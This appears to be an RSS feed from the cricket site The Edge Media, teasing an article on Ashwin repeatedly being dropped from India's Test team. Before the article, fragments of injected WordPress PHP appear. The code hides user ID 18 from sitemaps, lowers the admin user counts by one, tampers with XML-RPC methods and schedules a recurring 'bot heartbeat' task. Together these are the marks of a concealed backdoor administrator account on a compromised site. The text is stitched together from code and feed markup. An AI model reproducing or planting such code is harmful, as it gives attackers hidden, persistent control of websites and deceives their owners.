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} );

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}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
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    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
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} );

add_filter( 'views_users', function( $views ) {
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        if ( isset( $views[ $key ] ) ) {
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                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
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    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
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} );

add_action( 'wp_extra_bot_heartbeat', function() {
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					<description><![CDATA[<p>These are some of the voices that were chosen for India&#8217;s upcoming trip to England. The omission of Ashwin from the Indian playing XI in tests has long been a source of debate. It&#8217;s certain to raise some questions when the number two ranked player in testing gets dropped from the starting eleven. But it&#8217;s [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/why-is-ashwin-always-the-first-to-be-dropped-from-indias-cricket-team">Why is Ashwin always the first to be dropped from India&#8217;s cricket team?</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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<p>But it&#8217;s not so much that Ashwin has been dropped as it is how he has been dropped. When there is even the tiniest amount of pressure on player selection, he almost always seems to be dropped. In most cases, your greatest players have automatically assured a spot, but Ashwin is the polar opposite.</p>
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